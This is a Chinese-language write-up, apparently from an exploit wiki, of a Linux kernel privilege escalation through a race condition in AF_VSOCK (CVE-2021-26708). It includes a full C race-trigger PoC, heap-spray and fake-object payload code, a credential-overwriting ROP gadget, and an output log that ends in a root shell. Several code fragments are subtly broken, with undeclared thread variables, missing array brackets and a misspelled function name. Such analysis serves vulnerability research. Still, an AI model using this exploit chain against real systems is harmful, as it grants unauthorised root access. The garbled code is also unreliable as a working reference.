Loading
0

CVE-2021-26708 Linux kernel before 5.10.13 特权提升漏洞/he

PWNWIK.COM

,

פגיעות

这些漏洞是由net/vmw_vsock/af_vsock.c中的错误锁定引起的条件竞争。这些条件竞争是在2019年11月添加VSOCK多传输支持的提交中隐式引入的,并被合并到Linux内核5.5-rc1版本中。

CONFIG_VSOCKETSCONFIG_VIRTIO_VSOCKETS在所有主要的GNU/Linux发行版中都作为内核模块提供。当你为AF_VSOCK域创建一个套接字时,这些易受攻击的模块会自动加载。

vsock = socket(AF_VSOCK, SOCK_STREAM, 0);

AF_VSOCK套接字的创建对非特权用户来说是可用的,并不需要用户名空间。

内存破坏

下面详细介绍CVE-2021-26708的利用,利用了vsock_stream_etssockopt()中的条件竞争,复现需要两个线程,第一个线程调用setsockopt()

  setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
                &size, sizeof(unsigned long));

第二个线程在vsock_stream_etssockopt()试图获取套接字锁时改变虚拟套接字传输,通过重新连接虚拟套接字实现:

struct sockaddr_vm addr = {
        .svm_family = AF_VSOCK,
    };

    addr.svm_cid = VMADDR_CID_LOCAL;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

    addr.svm_cid = VMADDR_CID_HYPERVISOR;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

为了处理虚拟套接字的connect(),内核执行调用vsock_assign_transport()vsock_stream_connect()。这个函数包含如下代码:

     if (vsk->transport) {
            if (vsk->transport == new_transport)
                return 0;

            /* transport->release() must be called with sock lock acquired.
             * This path can only be taken during vsock_stream_connect(),
             * where we have already held the sock lock.
             * In the other cases, this function is called on a new socket
             * which is not assigned to any transport.
             */
            vsk->transport->release(vsk);
            vsock_deassign_transport(vsk);
        }

vsock_stream_connect()包含套接字锁,并行线程中的vsock_stream_setsockopt()也尝试获取它,构成条件竞争。因此,当用不同的svm_cid进行第二次connect()时,vsock_deassign_transport()函数被调用。该函数执行virtio_transport_destruct(),释放vsock_sock.transvsk->transport被设置为NULL。当vsock_stream_connect()释放套接字锁时,vsock_stream_setsockopt()可以继续执行。它调用vsock_update_buffer_size(),随后调用transport->notify_buffer_size()。这里transport包含一个来自本地变量的过时的值,与vsk->transport不匹配(本因被设为NULL)。

内核执行virtio_transport_notify_buffer_size(),出现内存破坏:

void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
    struct virtio_vsock_sock *vvs = vsk->trans;

    if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
        *val = VIRTIO_VSOCK_MAX_BUF_SIZE;

    vvs->buf_alloc = *val;

    virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);
}

这里,vvs是指向内核内存的指针,它已经在virtio_transport_destruct()中被释放。 struct virtio_vsock_sock的大小为64字节,位于kmalloc-64块缓存中。 buf_alloc字段类型为u32,位于偏移量40。 VIRTIO_VSOCK_MAX_BUF_SIZE是0xFFFFFFFFUL。 *val的值由攻击者控制,它的四个最不重要的字节被写入释放的内存中。

模糊测试

syzkaller fuzzer没有办法重现这个崩溃,于是我决定自行研究。但为什么fuzzer会失败呢?观察vsock_update_buffer_size()有所发现:

 if (val != vsk->buffer_size &&
      transport && transport->notify_buffer_size)
        transport->notify_buffer_size(vsk, &val);

    vsk->buffer_size = val;

只有当val与当前的buffer_size不同时,才会调用notify_buffer_size(),也就是说setsockopt()执行SO_VM_SOCKETS_BUFFER_SIZE时,每次调用的size参数都应该不同。于是我构建了相关代码:

/*
 * AF_VSOCK vulnerability trigger.
 * It's a PoC just for fun.
 * Author: Alexander Popov <email protected>.
 */

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/socket.h>
#include <linux/vm_sockets.h>
#include <unistd.h>

#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)

#define MAX_RACE_LAG_USEC 50

int vsock = -1;
int tfail = 0;
pthread_barrier_t barrier;

int thread_sync(long lag_nsec)
{
	int ret = -1;
	struct timespec ts0;
	struct timespec ts;
	long delta_nsec = 0;

	ret = pthread_barrier_wait(&barrier);
	if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
		perror("- pthread_barrier_wait");
		return EXIT_FAILURE;
	}

	ret = clock_gettime(CLOCK_MONOTONIC, &ts0);
	if (ret != 0) {
		perror("- clock_gettime");
		return EXIT_FAILURE;
	}

	while (delta_nsec < lag_nsec) {
		ret = clock_gettime(CLOCK_MONOTONIC, &ts);
		if (ret != 0) {
			perror("- clock_gettime");
			return EXIT_FAILURE;
		}

		delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 +
						ts.tv_nsec - ts0.tv_nsec;
	}

	return EXIT_SUCCESS;
}

void *th_connect(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct sockaddr_vm addr = {
		.svm_family = AF_VSOCK,
	};

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	addr.svm_cid = VMADDR_CID_LOCAL;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	addr.svm_cid = VMADDR_CID_HYPERVISOR;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	return NULL;
}

void *th_setsockopt(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct timespec tp;
	unsigned long size = 0;

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	clock_gettime(CLOCK_MONOTONIC, &tp);
	size = tp.tv_nsec;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
						&size, sizeof(unsigned long));

	return NULL;
}

int main(void)
{
	int ret = -1;
	unsigned long size = 0;
	long loop = 0;
	pthread_t th2 = { 0 };

	vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
	if (vsock == -1)
		err_exit("- open vsock");

	printf("+ AF_VSOCK socket is opened\n");

	size = 1;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE,
						&size, sizeof(unsigned long));
	size = 0xfffffffffffffffdlu;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE,
						&size, sizeof(unsigned long));

	ret = pthread_barrier_init(&barrier, NULL, 2);
	if (ret != 0)
		err_exit("- pthread_barrier_init");

	for (loop = 0; loop < 30000; loop++) {
		long tmo1 = 0;
		long tmo2 = loop % MAX_RACE_LAG_USEC;

		printf("race loop %ld: tmo1 %ld, tmo2 %ld\n", loop, tmo1, tmo2);

		ret = pthread_create(&th0, NULL, th_connect, &tmo1);
		if (ret != 0)
			err_exit("- pthread_create #0");

		ret = pthread_create(&th1, NULL, th_setsockopt, &tmo2);
		if (ret != 0)
			err_exit("- pthread_create #1");

		ret = pthread_join(th0, NULL);
		if (ret != 0)
			err_exit("- pthread_join #0");

		ret = pthread_join(th1, NULL);
		if (ret != 0)
			err_exit("- pthread_join #1");

		if (tfail) {
			printf("- some thread got troubles\n");
			exit(EXIT_FAILURE);
		}
	}

	ret = close(vsock);
	if (ret)
		perror("- close");

	printf("+ now see your warnings in the kernel log\n");
	return 0;
}

这里的size值取自clock_gettime()返回的纳秒数,每次都可能不同。原始的syzkaller不会这么处理,因为在syzkaller生成 fuzzing输入时,syscall参数的值被确定,执行时不会改变。

四字节的力量

这里我选择Fedora 33 Server作为研究目标,内核版本为5.10.11-200.fc33.x86_64,并决心绕过SMEP和SMAP。

第一步,我开始研究稳定的堆喷射,该漏洞利用执行用户空间的活动,使内核在释放的virtio_vsock_sock的位置分配另一个64字节的对象。经过几次实验性尝试后,确认释放的virtio_vsock_sock被覆盖,说明堆喷射是可行的。最终我找到了msgsnd() syscall。它在内核空间中创建了struct msg_msg,见pahole输出:

struct msg_msg {
    struct list_head           m_list;               /*     0    16 */
    long int                   m_type;               /*    16     8 */
    size_t                     m_ts;                 /*    24     8 */
    struct msg_msgseg *        next;                 /*    32     8 */
    void *                     security;             /*    40     8 */

    /* size: 48, cachelines: 1, members: 5 */
    /* last cacheline: 48 bytes */
};

前面是消息头,后面是消息数据。如果用户空间中的struct msgbuf有一个16字节的mtext,则会在kmalloc-64块缓存中创建相应的msg_msg。 4字节的write-after-free会破坏偏移量40的void *security指针。 msg_msg.security字段指向由lsm_msg_msg_alloc()分配的内核数据,当收到 msg_msg时,就会被security_msg_msg_free()释放。因此,破坏security指针的前半部分,就能获得 arbitrary free。

内核信息泄露

这里使用了CVE-2019-18683相同的技巧。虚拟套接字的第二个connect()调用vsock_deassign_transport(),将vsk->transport设置为NULL,使得vsock_stream_setsockopt()在内存崩溃后调用virtio_transport_send_pkt_info(),出现内核告警:

WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G        W         5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 vmw_vsock_virtio_transport_common
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS:  00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
  virtio_transport_notify_buffer_size+0x60/0x70 vmw_vsock_virtio_transport_common
  vsock_update_buffer_size+0x5f/0x70 vsock
  vsock_stream_setsockopt+0x128/0x270 vsock
...

通过gdb调试,发现RCX寄存器包含了释放的virtio_vsock_sock的内核地址,RBX寄存器包含了vsock_sock的内核地址。

实现任意读

从 arbitrary free 到 use-after-free

从泄露的内核地址释放一个对象
执行堆喷,用受控数据覆盖该对象
使用损坏的对象进行权限升级
内核实现的System V消息有限制最大值DATALEN_MSG,即PAGE_SIZE减去sizeof(struct msg_msg))。如果你发送了更大的消息,剩余的消息会被保存在消息段的列表中。 msg_msg中包含struct msg_msgseg *next用于指向第一个段,size_t m_ts用于存储大小。当进行覆盖操作时,就可以把受控的值放在msg_msg.m_ts和msg_msg.next中:

T01a51dfe7a996e854c.png

Payload:

    #define PAYLOAD_SZ 40 
    void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
    {
        struct msg_msg *msg_ptr;

        xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;

        /* Don't touch the second part to avoid breaking page fault delivery */
        memset(spray_data, 0xa5, PAGE_SIZE * 4);

        printf("+ adapt the msg_msg spraying payload:\n");
        msg_ptr = (struct msg_msg *)xattr_addr;
        msg_ptr->m_type = 0x1337;
        msg_ptr->m_ts = ARB_READ_SZ;
        msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
        printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
               msg_ptr,
               msg_ptr->m_type, &(msg_ptr->m_type),
               msg_ptr->m_ts, &(msg_ptr->m_ts),
               msg_ptr->next, &(msg_ptr->next));
    }

但是如何使用msg_msg读取内核数据呢?通过阅读msgrcv()系统调用文档,我找到了好解决方案,使用msgrcv()和MSG标志:

MSG_COPY (since Linux 3.8)
        Nondestructively fetch a copy of the message at the ordinal position  in  the  queue
        specified by msgtyp (messages are considered to be numbered starting at 0).

这个标志使内核将消息数据复制到用户空间,不从消息队列中删除。如果内核有CONFIG_CHECKPOINT_RESTORE=y,则MSG是可用的,在Fedora Server适用。

任意读的步骤

准备工作:
使用sched_getaffinity()和CPU_COUNT()计算可用的CPU数量(该漏洞至少需要两个);
打开/dev/kmsg进行解析;
mmap()将spray_data内存区域配置userfaultfd()作为最后一部分;
启动一个单独的pthread来处理userfaultfd()事件;
启动127个threads用于msg_msg上的setxattr()&userfaultfd()堆喷射,并将它们挂在thread_barrier上;
获取原始msg_msg的内核地址:
在虚拟套接字上进行条件竞争;
在第二个connect()后,在忙循环中等待35微秒;
调用msgsnd()来建立一个单独的消息队列;在内存破坏后,msg_msg对像被放置在virtio_vsock_sock位置;
解析内核日志,从内核警告(RCX寄存器)中保存msg_msg的内核地址;
同时,从RBX寄存器中保存vsock_sock的内核地址;
使用损坏的 msg_msg对原始msg_msg执行任意释放:
使用原始 msg_msg地址的4个字节作为 SO_VM_SOCKETS_BUFFER_SIZE,用于实现内存破坏;
在虚拟套接字上进行条件竞争;
在第二个connect()之后马上调用msgsnd();msg_msg被放置在virtio_vsock_sock的位置,实现破坏;
现在被破坏的msg_msg的security指针存储原始msg_msg的地址(来自步骤2);

T01a2a2d47c9494c4a5.png

如果在处理 msgsnd() 的过程中发生了来自 setsockopt()线程的 msg_msg.security内存损坏,进而SELinux权限检查失败;
在这种情况下,msgsnd()返回-1,损坏的msg_msg被销毁;释放msg_msg.security可以释放原始msg_msg;
用一个可控的payload 覆盖原始msg_msg:
msgsnd()失败后,漏洞就会调用pthread_barrier_wait(),调用127个用于堆喷射的pthreads;
这些pthreads执行setxattr()的payload;
原始msg_msg被可控的数据覆盖,msg_msg.next指针存储vsock_sock对象的地址;

T0140baae964febb059.png

通过从存储被覆盖的 msg_msg的消息队列中接收消息,将vsock_sock内核对象的内容读到用户空间:

ret = msgrcv(msg_locations0.msq_id, kmem, ARB_READ_SZ, 0,
                IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

寻找攻击目标

以下是我找到的点:
1.专用的块缓存,如PINGv6和sock_inode_cache有很多指向对象的指针
2.struct mem_cgroup *sk_memcg指针在vsock_sock.sk偏移量664处。 mem_cgroup结构是在kmalloc-4k块缓存中分配的。
3.const struct cred *owner指针在vsock_sock.sk偏移量840处,存储了可以覆盖进行权限升级的凭证的地址。
4.void (*sk_write_space)(struct sock *)函数指针在vsock_sock.sk偏移量688处,被设置为sock_def_write_space()内核函数的地址。它可以用来计算KASLR偏移量。

下面是该漏洞如何从内存中提取这些指针:

#define SK_MEMCG_RD_LOCATION    (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET    840
#define OWNER_CRED_RD_LOCATION    (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET    688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET) 
/*
 * From Linux kernel 5.10.11-200.fc33.x86_64:
 *   function pointer for calculating KASLR secret
 */
#define SOCK_DEF_WRITE_SPACE    0xffffffff819851b0lu 
unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;

/* ... */

    sk_memcg = kmemSK_MEMCG_RD_LOCATION / sizeof(uint64_t);
    printf("+ Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
            sk_memcg, SK_MEMCG_RD_LOCATION);

    owner_cred = kmemOWNER_CRED_RD_LOCATION / sizeof(uint64_t);
    printf("+ Found owner cred %lx (offset %ld in the leaked kmem)\n",
            owner_cred, OWNER_CRED_RD_LOCATION);

    sock_def_write_space = kmemSK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t);
    printf("+ Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
            sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);

    kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
    printf("+ Calculated kaslr offset: %lx\n", kaslr_offset);

在 sk_buff 上实现 Use-after-free

Linux内核中与网络相关的缓冲区用struct sk_buff表示,这个对像中有skb_shared_info与destructor_arg,可以用于控制流劫持。网络数据和skb_shared_info被放置在由sk_buff.head指向的同一个内核内存块中。因此,在用户空间中创建一个2800字节的网络数据包会使skb_shared_info被分配到kmalloc-4k块缓存中,mem_cgroup对像也是如此。

我构建了以下步骤:

1.使用socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)创建一个客户端套接字和32个服务器套接字

2.在用户空间中准备一个2800字节的缓冲区,并用0x42对其memset()

3.用sendto()将这个缓冲区从客户端套接字发送到每个服务器套接字,用于在kmalloc-4k中创建sk_buff对象。在每个可用的CPU上使用`sched_setaffinity()

4.对vsock_sock执行任意读取过程

5.计算可能的sk_buff内核地址为sk_memcg加4096(kmalloc-4k的下一个元素)

6.对这个可能的sk_buff地址执行任意读

7.如果在网络数据的位置找到0x42424242424242lu,则找到真正的sk_buff,进入步骤8。否则,在可能的sk_buff地址上加4096,转到步骤6

8.sk_buff上执行32个pthreads的setxattr()&userfaultfd()堆喷射,并把它们挂在pthread_barrier上

9.对sk_buff内核地址进行任意释放

10.调用pthread_barrier_wait(),执行32个setxattr()覆盖skb_shared_info的堆喷pthreads

11.使用recv()接收服务器套接字的网络消息。

通过skb_shared_info 进行任意写

以下是覆盖sk_buff对象的有效payload:

#define SKB_SIZE        4096
#define SKB_SHINFO_OFFSET    3776
#define MY_UINFO_OFFSET        256
#define SKBTX_DEV_ZEROCOPY    (1 << 3) 
void prepare_xattr_vs_skb_spray(void)
{
    struct skb_shared_info *info = NULL;

    xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;

    /* Don't touch the second part to avoid breaking page fault delivery */
    memset(spray_data, 0x0, PAGE_SIZE * 4);

    info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
    info->tx_flags = SKBTX_DEV_ZEROCOPY;
    info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;

    uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);

skb_shared_info驻留在喷射数据中,正好在偏移量SKB_SHINFO_OFFSET处,即3776字节。 skb_shared_info.destructor_arg指针存储了struct ubuf_info的地址。因为被攻击的sk_buff的内核地址是已知的,所以能在网络缓冲区的MY_UINFO_OFFSET处创建了一个假的ubuf_info。下面是有效payload的布局:

T0185ccbf9f025c74da.png

下面讲讲destructor_arg 回调:

 /*
     * A single ROP gadget for arbitrary write:
     *   mov rdx, qword ptr rdi + 8 ; mov qword ptr rdx + rcx*8, rsi ; ret
     * Here rdi stores uinfo_p address, rcx is 0, rsi is 1
     */
    uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
    uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr rdi + 8" */
    uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */

由于在vmlinuz-5.10.11-200.fc33.x86_64中找不到一个能满足我需求的gadget,所以我自己进行了研究构造。

callback函数指针存储一个ROP gadget 地址,RDI存储callback函数的第一个参数,也就是ubuf_info本身的地址,RDI + 8指向ubuf_info.desc。 gadget 将ubuf_info.desc移动到RDX。现在RDX包含有效用户ID和组ID的地址减一个字节。这个字节很重要:当gadget从 RSI向 RDX指向的内存中写入消息1时,有效的 uid和 gid将被零覆盖。重复同样的过程,直到权限升级到root。整个过程输出流如下:

email protected ~$ ./vsock_pwn

=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================

+ begin as: uid=1000, euid=1000
+ we have 2 CPUs for racing
+ getting ready...
+ remove old files for ftok()
+ spray_data at 0x7f0d9111d000
+ userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
+ fault_handler for uffd 38 is ready

+ stage I: collect good msg_msg locations
+ go racing, show wins: 
    save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
    save msg_msg ffff9125c25a4640 in msq 12 in slot 1
    save msg_msg ffff9125c25a4780 in msq 22 in slot 2
    save msg_msg ffff9125c3668a40 in msq 78 in slot 3

+ stage II: arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4d00
    kaddr for arb read: ffff9125c2035300
+ adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
+ go racing, show wins: 

+ stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
+ msgrcv returned 6096 bytes
+ Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
+ Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
+ Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
+ Calculated kaslr offset: 2a000000

+ stage IV: search sprayed skb near sk_memcg...
+ checking possible skb location: ffff9125c42fa000
+ stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4640
    kaddr for arb read: ffff9125c42fa030
+ adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
+ go racing, show wins: 0 0 20 15 42 11 
+ stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
+ msgrcv returned 6096 bytes
+ found a real skb

+ stage V: try to do UAF on skb at ffff9125c42fa000
+ skb payload:
    start at 0x7f0d91120004
    skb_shared_info at 0x7f0d91120ec4
    tx_flags 0x8
    destructor_arg 0xffff9125c42fa100
    callback 0xffffffffab64f6d4
    desc 0xffff9125c3fd6e53
+ go racing, show wins: 15 

+ stage VI: repeat UAF on skb at ffff9125c42fa000
+ go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30 

+ finish as: uid=0, euid=0
+ starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

视频

参考

https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html

PWNWIK.COM